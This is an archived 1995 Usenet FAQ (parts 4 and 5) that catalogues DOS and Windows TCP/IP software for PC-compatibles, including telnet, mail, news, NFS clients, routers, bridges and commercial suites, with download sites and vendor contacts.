    Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
    Approved: news-answers-request@MIT.Edu
    Summary: Frequently Asked Questions (and answers) about TCP/IP on
    PC-Compatible Computers

    Archive-name: ibmpc-tcp-ip-faq/part4

    comp.protocols.tcp-ip.ibmpc:
    FAQ Posting, part 4, 4/1/95


    DOS APPLICATIONS

    *Suggestion
    PPRD - LPD server for DOS v0.98

    This turns an DOS machine to a dedicated LPD print server. It can handle
    up to 3 parallel ports. Serial printers can be handled by running
    LPTCOM, a TSR to divert parallel port output to a serial port.
    This can run on an 8088 machine with only a floppy drive. To enhance
    security, the client and server must be on the same subnet.
    It is available from:
    ftp://ftp.syd.dit.csiro.au/pub/ken/pprd098.zip


    Suggestion
    IRC client free

    A client for Internet Relay Chat.

    Available at ftp://ftp.utas.edu.au/pc/trumpet/irc/irc100.zip
    Available at
    ftp://biochemistry.bioc.cwru.edu/pub...et/irc100.zip,
    ftp://biochemistry.bioc.cwru.edu/pub...et/ircabi.zip,
    ftp://biochemistry.bioc.cwru.edu/pub/trumpet/irclwp.zip

    P. Tattam, Programmer; Psychology Department, University of
    Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
    mailto:peter@psychnet.psychol.utas.edu.au

    Recommendation
    WAIS for DOS free

    A DOS WAIS client which uses the Clarkson drivers is
    available at
    ftp://sunsite.unc.edu/pub/packages/i...OS/pcdist.zip.

    A DOS WAIS client that requires the PC/TCP software from
    FTP Software is available at
    ftp://oac.hsc.uth.tmc.edu/public/dos/misc/oacwais.exe.

    For information, contact: Steven E. Newton, Office of Academic
    Computing, University of Texas Health Science Center, Houston,
    mailto:snewton@oac.hsc.uth.tmc.edu.

    There is also a Novell LAN Workplace WAIS client available at
    ftp://ftp.oit.unc.edu/pub/WAIS/UNC/nov-cli-visual.zip.

    Suggestion
    PDCLKSET Free

    Requiring a packet driver, this software sets your PC clock
    via an Internet time server.It also offers several useful
    network testing functions. Supports ping, and can build an arp
    table of nodes on the subnet. Available at
    ftp://oak.oakland.edu/pub/msdos/pkdrvr/pdclk207.zip

    Suggestion
    NCSA Telnet Free

    Available at ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307b.zip
    (binaries)
    ftp://zaphod.ncsa.uiuc.edu/PC/Telnet/msdos/tel2307s.zip (sources)
    Also available at
    ftp://wsmr-simtel20.army.mil/PD1:&lt;MSDOS.PKTDRVR&gt;/tel2307b.zip

    Compatible with LocalTalk.
    A PPP FAQ is available at ftp://merit.edu/pub/ppp/pppfaq


    Recommendation
    MS-Kermit Free

    This version of Kermit supports telnet, VT320 and Tektronix
    emulation, as well as SIXEL. It incorporates the WATTCP
    stack, and also runns over Novell's LWP/DOS+Telapi, FTP
    Inc's PC/TCP+Tnglass, Beame & Whiteside's TCP/IP stack;
    DEC Pathworks, as well as over NetBIOS. It supports Int
    14h as well as Int 6Bh, and can run over packet drivers.

    Available at ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.zip,
    ftp://kermit.cc.columbia.edu/kermit/bin/msvibm.pif (Windows PIF
    file for MS-DOS Kermit)

    Downright speculation
    PCUCP Free

    This is a Windows v3.1 application that allows multiple open
    text windows at the UNIX end. It is available at
    ftp://winftp.cica.indiana.edu/pub/pc.../pcucp11a.zip.

    Recommendation
    CUTCP Telnet Free

    CUTCP is the premiere DOS telnet application. Aside from
    VT100, and Tektronxi emulation, CUTCP also handles 3270
    emulation. The latest release has added ping and ODI
    support. Now supported by Rutgers University, having
    been tranferred from Clarkson University and Brad
    Clements. This directory contains the source and
    binary distributions, both in zip archives. For
    information contact mailto:cutcp-support@ftp-ns.rutgers.edu.

    Available at
    ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-b.zip
    (Documentation and binaries),
    ftp://ftp-ns.rutgers.edu/pub/msdos/c...nt/cutcp-s.zip
    (Source, documentation, and binaries).

    Downright speculation
    Clarkson Archie Free

    Available at ftp://omnigate.clarkson.edu/pub/cutcp/archie.zip

    Suggestion
    Princeton Telnet Free

    The Princeton version of Telnet supports localtalk cards
    and also does tn3270 access. Works on all localtalk cards
    (Sitka, Daystar, Farallon, ... )

    Available at ftp://pusun3.princeton.edu/pub/PU2-2TN/pu2-2tn.zip

    Recommendation
    Clarkson Charon IPX/TCP email and printer gateway v4.0

    Charon is a gateway widely used with Pegasus mail.
    Available at ftp://omnigate.clarkson.edu/pub/cutcp/charon40.zip,
    ftp://sun.soe.clarkson.edu/pub/cutcp/charon.zip

    Recommendation
    Phone package Free

    A phone dialer package for DOS that was written to run with
    the UMSLIP driver. Be aware that UMSLIP does not work with PKTMUX.

    Available at ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/sliparc.exe,
    ftp://ftp.ncsa.uiuc.edu/pub/pc/slip/phone.doc

    IP ADDRESS ASSIGNMENT

    Recommendation
    CIRA RARP server Free

    This is a RARP server that runs under DOS, and can give
    out an IP address from a pool. I have run it, and it is
    reliable.

    Available as ftp://pine.circa.ufl.edu/pc/rarp/rarp.zip.

    Recommendation
    RARP client Free

    This is a RARP client that can store the retrieved IP
    address in a DOS environmental variable, for later
    substitution into a file.

    Available as ftp://pine.circa.ufl.edu/pc/rarpset.zip.

    Recommendation
    BOOTPQ v1.2 Free

    BOOTPQ is a BOOTP client that can take an IP address
    extracted via BOOTP and put it into a DOS environmental
    variable.

    Available as ftp://biochemistry.cwru.edu/pub/dos/bootpq12.zip

    Downright Speculation
    BOOTP Free

    Frankly, I have never gotten this thing to work.
    A bootp server available via
    ftp://biochemistry.cwru.edu/pub/dos/bootp.zip or
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/bootp.zip

    Recommendation
    BOOTP for UNIX

    What if you want to provide configuration info to PCs supporting BOOTP?
    What you need is the CMU BOOTP server, available via:
    ftp://lancaster.andrew.cmu.edu/pub/bootp.2.1.tar.Z

    Tip for the BOOTP deprived: remember that if you setup multiple BOOTP
    servers, you need to sync up the configuration information. If servers put
    out conflicting BOOTP replys, then the first reply will take precedence.

    *Downright Speculation
    BOOTP Forwarder NLMs

    Novell offers a BOOTP forwarder NLM, known as BOOTPFWD.NLM; this
    relays BOOTP packets from one network to another. You can obtain
    this via a NetWare 3.11 TCP/IP upgrade on NetWire, or via
    ftp://ftp.novell.com.

    There is also another similar NLM, known as BOOTPFD.NLM. This is
    available as:
    ftp://sjf-lwp.sjf.novell.com/nw311/BOOTP-relay

    Recommendation
    Talk v1.2 Free

    A DOS Talk client running over packet drivers. Available as:
    ftp://oak.oakland.edu/pub/msdos/pktdrvr/talk-12.zip

    Recommendation
    PC Gopher III Free

    An MS-DOS client for the Gopher information server. Be aware
    that you must load WINPKT.COM (or PKTMUX if you are running
    multiple TCP/IP applications) to get this program to work
    under Windows. The code for PC Gopher III has also been
    incorporated into Minuet.

    Available at ftp://boombox.micro.umn.edu/pub/goph...s/pcgopher.txt
    ftp://boombox.micro.umn.edu/pub/goph...ient/00README, also:
    ftp://biochemistry.cwru.edu/pub/dos/pcg3.zip,
    ftp://biochemistry.cwru.edu/pub/dos/pcg3doc.zip

    WINPKT is available at ftp://biochemistry.micro.umn.edu/pub...dos/winpkt.com

    Downright Speculation
    Uwho Free

    Uwho is Stan Barber's interface to whois and ph e-mail
    address servers that runs under MS-DOS. An alpha test
    version is available at
    ftp://punisher.caltech.edu/pub/dank/...who218b.tar.Z,
    ftp://punisher.caltech.edu/pub/dank/uwho/uwho218b.zip,
    or unarchived in
    ftp://punisher.caltech.edu/pub/dank/uwho218b/
    The archived text files are in Unix format.

    Recommendation
    DOS Trumpet v1.06b Shareware, $10.

    Trumpet is an NNTP newsreader for DOS that can be placed on a
    NetWare server, while storing news groups and configuration
    files in each user's directory. It supports packet drivers,
    LAN WorkPlace for DOS, and Trumpet ABI.

    Available at ftp://ftp.utas.edu.au/pc/trumpet/dostrump/trmp106b.zip
    Available at ftp://biochemistry.bioc.cwru.edu/pub.../trmp106b.zip,
    ftp://biochemistry.bioc.cwru.edu/pub...t/newsabi.zip,
    ftp://biochemistry.bioc.cwru.edu/pub...et/newslwp.zip

    Contact: mailto:peter@psychnet.psychol.utas.edu.au

    Multi-user site licenses

    Trumpet will be charged by the total number of users who
    have access to Trumpet on a network. A site is designated
    as being one organization located within a radius of10 km.

    The pricing structure is:

    1-99 users $10 US per user
    100-999 users $1000 US + $2 US per additional user above 100
    1000-4999 users $2800 US + $0.20 US per additional user over 1000
    5000+ $3600 US

    P. Tattam, Programmer; Psychology Department, University of
    Tasmania, Hobart, Tasmania, Australia, 61-02-202346;
    mailto:peter@psychnet.psychol.utas.edu.au

    Downright Speculation
    Broadcast Free

    This is a PC client for the Macintosh Broadcast program, by Kai Getrost.

    Available at ftp://caisr2.caisr.cwru.edu/pub/net/bdcst11.zip

    Suggestion
    DOSLynx free

    This is a textual browser for WWW that requires a class 1 packet
    driver, and includes its own built-in TCP/IP stack. It can call
    external viewers but does not allow viewing of inline images.
    It is compatible with EtherSLIP or EtherPPP, but takes up quite
    a bit of memory, leaving little left over for documents on a
    640K machine. Available via:
    ftp://ftp2.cc.ukans.edu/pub/DosLynx/readme.txt

    Suggestion
    NuPOP/PC free

    In addition to a POP/SMTP mail client that supports MIME, NuPOP
    contains an FTP client, a Ph (phonebook) client, a Gopher client,
    a news reader, a Telnet client, and an LPR (print) client.
    Version of NuPOP are also available that support Wollongong
    TCP kernel, WATTCP kernel, and Trumpet ABI TCP kernel.
    Can be gotten to support LocalTalk via the provided LocalTalk
    driver. Do not use the Clarkson drivers for this. By the way,
    NuPOP also supports serial access, as well as running over TCP/IP.

    Available at ftp://ftp.acns.nwu.edu/pub/nupop/nupoprea.zip (real mode executable)
    ftp://ftp.acns.nwu.edu/pub/nupop/nupoppro.zip (protected mode executable)
    ftp://ftp.acns.nwu.edu/pub/nupop/nupopsup.zip (additional files required)

    If you want the news reading and MIME support, you must first
    install the protected mode version described above, and then
    install the following over it.
    ftp://ftp.acns.nwu.edu/pub/nupop/nup...e/nupop210.zip
    or if you get the real mode executable:
    ftp://ftp.acns.nwu.edu/pub/nupop/nup...se/real210.zip

    Suggestion
    POPmail-PC v3.2.2

    This is the package included with SLIPDISK. Supports Ethernet,
    AppleTalk, and SLIP. Use the AppleTalk driver that works with NuPOP.

    Available at
    ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.exe,
    ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.hlp

    ftp://boombox.micro.umn.edu/pub/pc/p...ls/manual.asc,
    ftp://boombox.micro.umn.edu/pub/pc/p...m/popmail.doc,
    ftp://boombox.micro.umn.edu/pub/pc/p...am/popmail.sty

    A POP3 server for VMS and MS-DOS client software is available at
    ftp://logos.ucs.indiana.edu/INDEX

    Recommendation
    Minuet

    A smorgasbord of DOS TCP/IP applications, including gopher, mail,
    ftp, news, and telnet, Minuet includes code from PC Gopher III,
    and POPmail. It supports multiple windows, as well as Ethernet,
    AppleTalk and SLIP packet drivers. Use the AppleTalk driver
    that works with NuPOP. Since Minuet does so much, and does
    it well, you may not want to use anything else, unless you
    don't have enough RAM for it.

    Available at ftp://boombox.micro.umn.edu/pub/pc/minuet/minuarc.exe

    Suggestion
    PC-Pine v3.88 Free

    This is a PC-compatible version of Pine, running under DOS.
    There are versions written for FTP Software's PC/TCP, Novell's
    Lan WorkPlace for DOS, and WATTCP.

    Available at ftp://ftp.cac.washington.edu/mail/pcpine_p.zip
    (WATTCP version),
    ftp://ftp.cac.washington.edu/mail/pcpine_n.zip (Novell LWP),
    ftp://ftp.cac.washington.edu/mail/pcpine_f.zip (FTP PC/TCP)

    Note that PC Pine relys on the Interactive Mail Access Protocol
    (IMAP2) rather than POP. You must have an IMAP server installed
    in order to use it. IMAPd is available at
    ftp://ftp.cac.washington.edu/mail/imap.tar.Z

    For a listing of other IMAP-compatible clients, get
    ftp://ftp.cac.washington.edu/mail/imap.software.

    Downright speculation
    Ph client

    University of Illinois CCSO name server client.

    Available at ftp://uxc.cso.uiuc.edu/net/ph/dos/pcph.com,
    ftp://uxc.cso.uiuc.edu/net/ph/dos/pcph.README

    Downright Speculation
    FTPNuz $10/shareware

    Gene Mangum's shareware newsreader for DOS, which requires FTP
    Software's PC/TCP kernel. Runs under MS-DOS, as well as in a
    DOS window under MS Windows and OS/2. Features include support
    for NNTP,pull-down menus, reading and posting of news, reply
    by mail via SMTP.

    Available at ftp://calvin.sfasu.edu/pub/dos/netwo...p/ftpnuz10.zip

    Gene Mangum; mailto:h198@hosp.med.umich.edu

    NFS

    Downright speculation
    NFS Client
    Business users $20 (Shareware)
    Home or Ed. use $15 (Shareware)

    This a shareware NFS client by Mike Durkin. The shareware fee includes the
    right to a year's worth of free upgrades. All TCP/IP stack versions of it
    are available under one license. Site license discounts start at 20 machines.
    I have tried this, and it works well. The latest version includes a built-in
    packet multiplexer in the WATTCP version. Other features include the ability
    support for remote printing using pcnfsd or bwnfsd.

    Available at:
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/bugs.lst
    (Known and recently fixed bugs list)
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs025-m.zip
    ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs025-m.zip
    (MS-DOS NFS client for Microsoft Lan Manager)
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257n.zip
    ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257n.zip
    (MS-DOS NFS client for Novell LAN WorkPlace)
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257t.zip
    (MS-DOS NFS client for Trumpet TCPDRV)
    ftp://polyslo.calpoly.edu/pub/mdurkin/nfs/nfs0257w.zip
    ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/nfs0257w.zip (WATTCP MS-DOS NFS client)

    Mike Durkin, mailto:mdurkin@wiretap.spies.com

    *Downright speculation
    XFS and XFS-32 Shareware
    Educational license $15
    Commercial $25

    This is another NFS client implementation for MS-DOS, by Robert Juhasz
    (mailto:robertj@lwfws1.uni-paderborn.de). It runs over packet drivers and
    includes a built-in PKTDRVR multiplexer so you can run other software
    concurrently. It is also possible run this under WFW using DIS_PKT, or
    Novell Netware using ODIPKT.

    XFS32 is a version for those running WFW and Microsoft TCP/IP-32.
    A UNIX pcsnfsd is recommended, but not required. This version requires
    TCP/IP-32 because the current Winsock API definition (v1.1) doesn't support
    some of the functionality that an NFS client needs.

    There are site license discounts. Requires a 286. Available as:
    ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs186.zip
    The 32-bit version is available as:
    ftp://ftp.cdrom.com/.2/SimTel/msdos/nfs/xfs32-11.zip
    ftp://lwfws1.uni-paderborn.de/pub/xfs

    Xlink Technology, Inc.; 1546 Centre Pointe Dr., Milpitas, CA 95035,
    fax: (408)263-8203, mailto:info@xlink.com

    ROUTERS AND BRIDGES

    Recommendation
    KA9Q
    Educational Use Free
    Commercial Use $50

    KA9Q includes routing and packet filtering capabilities, along
    with a variety of other client and server capabilities. See
    the listing under Servers.

    Suggestion
    PCRoute v2.24 Free

    This package can convert a PC into a TCP/IP router. It doesn't
    require more than 1 Mb of memory, and works fine on an 8088,
    although faster machines are recommended. This is a fast and
    reliable router and recommended for routing between Ethernets.

    Available at ftp://ftp.acns.nwu.edu/pub/pcroute/readme.1st (Readme file)
    ftp://ftp.acns.nwu.edu/pub/pcroute/readme.pcroute.doc (PCRoute documentation)
    ftp://ftp.acns.nwu.edu/pub/pcroute/pcroute2.24.tar.Z (executables)
    ftp://ftp.acns.nwu.edu/pub/pcroute/p...2.24.src.tar.Z (source code)

    Vance Morrison, LANport, Inc.; 2040 Polk Street #340,
    San Francisco, CA 94109; (415)775-0188, mailto:lanport@cup.portal.com

    Suggestion
    PCBridge v2.77 Free

    Originally by Vance Morrison of Northwestern, PCBridge has been taken
    over by Alessandro Fanelli and Luigi Rizzo. The latest version of
    PCBridge is now ROMable. The
    software is available at ftp://pical3.iet.unipi.it/pub/bridge/bdg277.tar.Z

    Alessandro Fanelli, Luigi Rizzo (mailto:luigi@iet.unipi.it),
    Universita di Pisa - via Diotisalvi 2, 56126 Pisa, Italy ;
    +39-50-568533, fax: +39-50-568522

    Downright Speculation
    Drawbridge v2.0 (now in alpha test)

    Drawbridge is a bridging filter for the 386 that requires two ethernet cards.
    It is comprised of three programs: Filter, Filter Compiler and Filter Manager.

    It is available at
    ftp://net.tamu.edu/pub/security/TAMU...e-2.0a.tar.gz,
    ftp://net.tamu.edu/pub/security/TAMU/drawbridge.README,

    Downright Speculation
    KarlBridge v1.41

    This software, which uses WATTCP, provides a two port
    Ethernet to Ethernet bridge that can filter based on any
    Ethernet protocol, including IP, XNS, DECNET, LAT,
    EtherTalk, NetBEUI, Novell IPX, etc. It will also
    act as an IP firewall by filtering IP packets based on
    IP address/network/subnet combinations and socket numbers.
    It can also filter DECNET and AppleTalk Phase 1 & 2 packets.
    It now supports SNMP queries for remote management. Novell
    SAP and NCR WaveLAN filtering are coming in a future release.

    Available at ftp://128.146.1.7/pub/kbridge/kbridge141.zip
    For information: http://www.gbnet.net/kbridge/
    gopher://gopher.gbnet.net/KarlBridge/
    mailto:sales@gbnet.com (UK/Europe)
    mailto:sales@KarlNet.com (US/elsewhere)


    DOS SERVERS

    Recommendation
    KA9Q
    Educational Use Free
    Commercial Use $50

    There are several versions of KA9Q, each with different
    capabilities. The current most capable versions are the
    ones put together by the folks at Demon Internet Services
    (DIS) in the UK, and the version put out by Ashok Aiyar at
    CWRU. CWRU Version 1.0b is based on the N1BEE 0.85-beta
    which in turn is based on PA0GRI 2.0m NOS, and includes
    support for NTP, CSO, Gopher, FTP, and SMTP/POP2/POP3
    servers, plus VT102 and packet filtering support. Base
    code is by Ashok Aiyar, ashok@biochemistry.cwru.edu.
    The Textwin version from DIS does not include Gopher
    support, but does support Domain Name Service and
    can act as an NNTP server.

    KA9Q can route TCP/IP packets over X.25, Ethernet,
    LocalTalk (with a special version), and serial lines
    (via SLIP/CSLIP/PPP). It supports connection to 56
    Kbps leased lines via a CSU/DSU and an SCC card, and
    supports up to 4 serial ports per machine. This means
    you can purchase a 56 Kbps Internet link, then divide it
    among 4 users, bringing the cost way down. KA9Q is a
    useful tool for sysops looking to hook their systems
    to the Internet, regardless of what kind of computer
    the BBS runs on.

    Available as:
    ftp://biochemistry.cwru.edu/pub/nos/nos11c.exe,
    ftp://biochemistry.cwru.edu/pub/nos/nos11c.txt,
    ftp://biochemistry.cwru.edu/pub/nos/nos11c.map,
    ftp://biochemistry.cwru.edu/pub/nos/nos192.txt,
    ftp://biochemistry.cwru.edu/pub/nos/nos_1229.man,
    ftp://biochemistry.cwru.edu/pub/nos/vt102.zip,
    ftp://biochemistry.cwru.edu/pub/nos/filter.txt,
    ftp://biochemistry.cwru.edu/pub/nos/autoexec.nos

    Alternative sites:
    ftp://ucsd.edu/hamradio/packet/tcpip/ka9q
    ftp://boombox.micro.umn.edu/pub/gopher/PC_server/ka9q

    A Macintosh port (NetMac) is available at
    ftp://sumex-aim.stanford.edu/info-mac/comm/

    Textwin (multiwindowing version with mouse support) package
    is available in three versions: large, small and tiny. The
    tiny package includes support for NNTP, SMTP and POP servers;
    the small version adds support for FTP servers; and the
    large version adds packet filtering, RIP and DNS support, and
    is the version that I tested the config files with.
    Available as:
    ftp://ftp.demon.co.uk/pub/ibmpc/textwin.

    Contact: mailto:amc@beryl.demon.co.uk, mailto:amccarthy@cix.compulink.co.uk,
    mailto:100012.3712@compuserve.com

    Phil Karn, KA9Q; 7431 Teasdale Ave, San Diego, CA 92122;
    (619)587-8281, fax: (619)587-1825

    Recommendation
    SLIPLOG and SLIPKIT

    SLIPLOG is a small (&lt;6K) TSR that adds login and remote control features to
    any SLIP packet driver, allowing you to use KA9Q as a dialin SLIP server.
    All the programd you need are included in the SLIPKIT distribution, including
    the latest NOS version, CSLIPPER, PKTMUX, the NDIS3PKT.386 chim, WINPKT,
    SLIPLOG, COMTOOL, GETNEWS, KA9Q docs, and a manual. Assembly language source
    is also included.

    Features include:
    Cold booting on errors; login authentication, with time and date
    logging; can send a message file after connection,
    as well as the SLIP IP address; support for call-backs; on-demand
    dial; remote sysop capability; can run in DOS Virtual Machine
    under windows; can handle multiple lines on one machine.

    Available via:
    http://mvmpc9.ciw.uni-karlsruhe.de/
    ftp://mvmpc9.ciw.uni-karlsruhe.de/go...c/nos/sliplog/
    ftp://biochemistry.cwru.edu/gopher/pub/nos/
    http://inorganic5.chem.ufl.edu/
    ftp://inorganic5.chem.ufl.edu/gopher.../slip/sliplog/
    If you have trouble accessing this with the ws-ftp client,
    set your servertype to ka9q.

    Karl-Heinz Weiss, University of Karlsruhe, (49)721-608-2418,
    (49)7244-1792, mailto:khweis@mvmpc9.ciw.uni-karlsruhe.de

    Downright Speculation
    NOSView v3.04

    Written by Ian Wade, G3NRW, NOSView is online documentation
    for KA9Q, which describes all the NOS commands. It also
    contains a complete set of templates for use of KA9Q.

    Available at ftp://ucsd.edu/hamradio/packet/tcpip...w/nosvw304.zip

    Contact: Ian Wade, mailto:ian@g3nrw.demon.co.uk

    Downright Speculation
    Stan's Own Server Free

    SOS is based on the now-outdated PC-IP, and as a result
    is not used much anymore. However, there is no other
    publicly distributable NFS server package out there,
    so if you need one, you might as well try this.
    Available at ftp://sun.soe.clarkson.edu/pub/packet-drivers/soss.zoo,
    sossread.me. Also available at ftp://spdcc.com/pub/sos/soss.zoo,
    ftp://spdcc.com/pub/sos/sossexe.zoo

    A version with a couple of bugs fixed is available at
    ftp://hilbert.wharton.upenn.edu/pub/tcpip/soss.zip

    For info, contact: Richard Bruan, mailto:rbraun@spdcc.com, or Seemong Tan,
    mailto:stan@cs.uiuc.edu.

    Downright Speculation
    Hellsoft BOOTP and FTPD NLMs

    Available via ftp://novell.felk.cvut.cs/pub/nw311/ftpd,
    ftp://novell.felk.cvut.cs/pub/nw311/bootpd/
    ftp://novell.felk.cvut.cs/pub/nw311/resolv/

    Downright Speculation
    Gopher NLM

    Available via:
    ftp://kmat1.fjfi.cvut.dz/pub/gopherd/
    ftp://ftp.pol.lublin.pl/sys/pub/pc/novell/gopherd/

    Downright Speculation
    LPD Free
    FTP and BOOTP server included

    This software is a freeware line printer daemon as
    well as an FTP and BOOTP server. Available via
    ftp://tacky.cs.olemiss.edu/pub/lpd/lpd.zip,
    ftp://tacky.cs.olemiss.edu/pub/lpd/lpdsrc.zip

    Recommendation
    TELNETD Free

    TELNETD is a simple, free and unsupported TELNET
    server for PCs, by Erick Engelke. It works on top
    of packet drivers and lets you run most DOS software.
    However, it doesn't do everything; if you want a
    commercial-quality implementation, get Everywhere Access.

    Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/telnetd.zip

    Recommendation
    COMD Free

    COMD by Erick Engelke allows you to share serial port
    devices, including printers and modems with another
    TCP/IP connected computer.

    Available at ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/comd.zip

    Downright Speculation
    SMTP server free

    An SMTP server for DOS. Available at:
    ftp://ftp-ns.rutgers.edu/pub/msdos/wattcp/smtpserv.zip




    ------------------------------ END OF PART 4 ------------------------

    Please send comments to:

    Bernard Aboba
    Author of:
    The Online User's Encyclopedia, Addison-Wesley, 1994
    The PC-Internet Connection, Publisher's Group West, due in 1995
    mailto:aboba@netcom.com
    FTP archive: ftp://ftp.zilker.net/pub/mailcom/
    WWW page: http://www.zilker.net/users/internaut/index.html




    From: aboba@netcom.com (Bernard Aboba)
    Subject: comp.protocols.tcp-ip.ibmpc Frequently Asked Questions (FAQ), part 5 of 5
    Expires: Fri, 12 May 1995 00:00:00 GMT
    Followup-To: poster
    Keywords: TCP/IP, IBM PC, SLIP, PPP, NDIS, ODI
    Organization: MailCom
    Reply-To: aboba@netcom.com
    Newsgroups: comp.protocols.tcp-ip.ibmpc,comp.protocols.tcp-ip,alt.winsock,comp.os.ms-windows.networking.tcp-ip,alt.answers,comp.answers,news.answers
    Approved: news-answers-request@MIT.Edu
    Summary: Frequently Asked Questions (and answers) about TCP/IP on
    PC-Compatible Computers

    Archive-name: ibmpc-tcp-ip-faq/part5

    comp.protocols.tcp-ip.ibmpc:
    FAQ Posting, part 5, 4/1/95

    COMMERCIAL PRODUCTS

    Downright speculation
    TCP/IP BOOT-PROM

    The TCP/IP BOOT-PROM is a TCP/IP based Boot ROM available for about
    34 Ethernet and Token Ring PC network controllers. It uses the protocols
    BOOTP and TFTP to download the DOS operating system and network software
    from a TCP/IP based servers like UNIX, NetWare, OS/2 or Windows NT.
    Several network software like PC-NFS, PC/TCP, PC-Interface, B&W NFS,
    LAN WorkPlace, NetWare, NetWare/IP, LanManager, TUN and other are supported
    on the diskless client site.

    The builtin application interface allows to access the ROMs TCP/IP stack
    for building low cost terminals or downloading other operating systems
    e.g. UnixWare.

    Dirk Koeppen EDV-Beratungs-GmbH, Germany
    Phone: +49 69 89 3000, Fax: +49 69 89 3004, mailto:dirk@incom.de


    Downright Speculation
    3Com TCP w/ DPA v2.0

    3Com; (800)638-3266


    Recommendation
    Internet in a Box $99

    After much fanfare, Internet in a Box has finally shipped. This
    includes a special version of Ed Krol's book, alongside a suite
    with Gopher, Mosaic, Telnet, Mail, and News. The installation
    procedure is quite streamlined in that it sets up all the stack
    as well as all the applications in one fell swoop. The PPP
    implementation supports address negotiation.

    Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,
    (800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,
    mailto:info@spry.com


    Downright Speculation
    AIR Series 3.0
    50% discount on tradein of another package
    AIR Mosaic $29.95

    This includes Telnet, FTP (integrated with File Manager), tn3270, NFS,
    Mosaic, SMTP, News, Gopher, and FTP/RCP servers, LPR, LPD, ImageView,
    UUCode, X-Windows, SNMP, PPP, NetBIOS support, on-demand dial.

    A demo version of AIR Mosaic is available via:
    ftp://ftp.spry.com/vendor/spry/demo/...o/amosdemo.exe

    Spry Inc.; 316 Occidental Avenue South, Seattle, WA 98104; (206)447-0300,
    (800)777-9638, ext. 44, fax: (206)447-9008, mailto:sales@spry.com,
    mailto:info@spry.com


    Downright Speculation
    Teemtalk for DOS
    Teemtalk for Windows

    Teemtalk supports connections over ARPA Services 2.0+ (HP), Beame & Whiteside,
    CTerm (DEC), Int-6B (Novell NASI), Int-14, MS LanManager, Lan Workplace, LAT,
    NetBIOS, Netmanage Chameleon, OSLAN (ICL), Pathway, PC-NFS, PCTCP,
    TELAPI (Novell), and also support Windows Sockets, and regular or BIOS level
    serial connections.

    Emulations include VT 52/100/220/240/320/340/640, Viewdata
    40/80/Split, DG200, HP2392A, Tek4014, Regis and W2119. Protocol support
    Kermit and Xmodem. It also supports DDE.

    Pericom, 1-609-895-0404 (US) and 0908-265533 in the UK.

    *Suggestion
    BW-NFS v3.1 for DOS & Windows

    NFS is implemented as a TSR; the TCP stack is a device driver.
    The package supports SLIP, NFS client, Telnet (VT220 and
    3270 emulation), finger, talk, ftp, and SMTP mail. It also can act as a
    server for telnet, FTP, NFS, finger, and lpd. The 3270 emulation is reportedly
    OK. The BW-Connect ftp client supports dragging and droppping of files
    between the server and client. This product cannot handle both a SLIP/PPP
    and a network adapter interface simultaneously, since the stack does not
    route.

    Beame & Whiteside Software Inc.; 706 Hillsborough St., Raleigh, NC 27603-1655
    (919)831-8989, (800)463=6637, tech: (919)831-8975, fax: (919)831-8990,
    mailto:sales@bws.com

    Suggestion
    Chameleon v4.01
    Internet Chameleon
    ChameleonNFS v4.01 $400
    ChameleonNFS v4.01 for NT

    Chameleon is a Windows 3.x TCP/IP implementation that can handle FTP, TFTP,
    Telnet (3270, 5250, ANSI, VT-52, VT100 and VT220 emulation), ping, SMTP, POP2,
    NNTP and NFS (client and server) all in multiple windows, simultaneously. The
    package also supports DNS via an implementation of BIND, as well as SNMP.
    ChameleonNFS is compatible with the IPX/Link product for Netware from
    NetManage. Most of the code resides in a DLL. Chameleon supports multiple
    interfaces, and can route between them. It also supports SLIP, CSLIP, and PPP,
    and has a built-in SNMP agent. The Internet Chameleon package only supports
    dialup IP; for network adapter support, you need to purchase Chameleon.

    NetManage, Inc.; 10725 North De Anza Blvd, Cupertino, CA 95014,
    (408)973-7171, fax: (408)257-6405, mailto:support@netmanage.com

    Downright speculation
    Distinct Network Applications v3.02 $395
    Distinct Software Development Kit $495
    Network & Developer Combination $695

    Distinct TCP/IP for Windows - Network Applications v3 integrates several
    Windows based TCP/IP utilities under a single interface.

    These include: Distinct Telnet which allows multiple concurrent Telnet
    sessions on different remote hosts, allowing you to cut and paste
    information between these systems as well as between the systems and your
    local host. Distinct FTP is a drag and drop FTP which allows you to drag a
    local or remote file to a local printer. Distinct FTP has both a client and
    a server; this means that files can be also transferred by selected users
    from PC to PC (password protection is included). TFTP provides file
    transfer services to communications servers and routers that do not have
    FTP. Network Monitor monitors host-to-host communication and data
    transmission traffic and is able to capture network traffic to a file.


    Distinct TCP/IP for Windows - Software Development Kit

    This product is engineered as 100% DLL, and requires only 4 Kb DOS memory
    for a driver. The product supports up to 64 concurrent sockets, and buffers
    are allocated and deallocated as they open and close.

    Includes three development kits:

    Distinct TCP/IP for Windows - Berkeley-style Sockets (TCP, UDP, ICMP,
    Telnet, FTP)

    Distinct TCP/IP for Windows - Windows Sockets ver. 1.1

    Distinct RPC - a complete ONC RPC/XDR toolkit for Windows (Client and
    Server RPC over both TCP and UDP; includes RPCGEN)

    Distinct Corporation;14395 Saratoga Avenue, Suite 120, Saratoga, CA 95070;
    (408)741-0781, fax: (408)741-0795, mailto:chris@distinct.com

